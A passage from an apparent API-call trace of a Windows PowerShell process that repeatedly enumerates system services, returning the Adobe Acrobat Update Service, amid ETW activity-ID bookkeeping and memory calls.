[7]=0x1))) returned 0x0 [0097.140] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5c, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5c, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.141] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5d, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.141] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5c, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.141] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5d, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5d, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.141] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x32972b0 [0097.141] EnumServicesStatusW (in: hSCManager=0x32972b0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.142] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.142] EnumServicesStatusW (in: hSCManager=0x32972b0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.143] CoTaskMemFree (pv=0x744e580) [0097.143] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.143] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.143] CoTaskMemFree (pv=0x744e580) [0097.143] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.143] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.143] CoTaskMemFree (pv=0x744e580) [0097.143] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5e, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.143] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5d, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.143] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5e, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5e, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.144] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5f, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.144] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5e, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.144] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5f, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5f, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.144] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x60, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.144] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5f, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.144] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x60, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x60, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.144] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297148 [0097.145] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.145] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.145] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.146] CoTaskMemFree (pv=0x744e580) [0097.146] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.147] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.147] CoTaskMemFree (pv=0x744e580) [0097.147] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.147] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.147] CoTaskMemFree (pv=0x744e580) [0097.147] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x61, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.147] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x60, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.147] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x61, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x61, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.147] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x62, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.147] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x61, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.147] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x62, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x62, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.148] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x63, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.148] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x62, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.148] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x63, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x63, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.148] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297300 [0097.148] EnumServicesStatusW (in: hSCManager=0x3297300, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.149] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.149] EnumServicesStatusW (in: hSCManager=0x3297300, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.150] CoTaskMemFree (pv=0x744e580) [0097.150] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.150] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.150] CoTaskMemFree (pv=0x744e580) [0097.150] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.150] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.150] CoTaskMemFree (pv=0x744e580) [0097.150] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x64, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.150] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x63, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.150] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x64, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x64, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.151] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x65, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.151] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x64, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.151] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x65, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x65, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.151] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x66, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.151] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x65, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.151] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x66, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x66, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.151] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x32971c0 [0097.152] EnumServicesStatusW (in: hSCManager=0x32971c0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.152] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.152] EnumServicesStatusW (in: hSCManager=0x32971c0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.153] CoTaskMemFree (pv=0x744e580) [0097.153] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.153] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.153] CoTaskMemFree (pv=0x744e580) [0097.154] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.154] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.154] CoTaskMemFree (pv=0x744e580) [0097.154] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x67, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.154] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x66, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.154] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x67, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x67, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.154] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x68, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.154] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x67, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.154] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x68, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x68, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.154] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x69, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.154] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x68, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.154] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x69, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x69, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.155] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297148 [0097.155] EnumServicesStatusW (in: 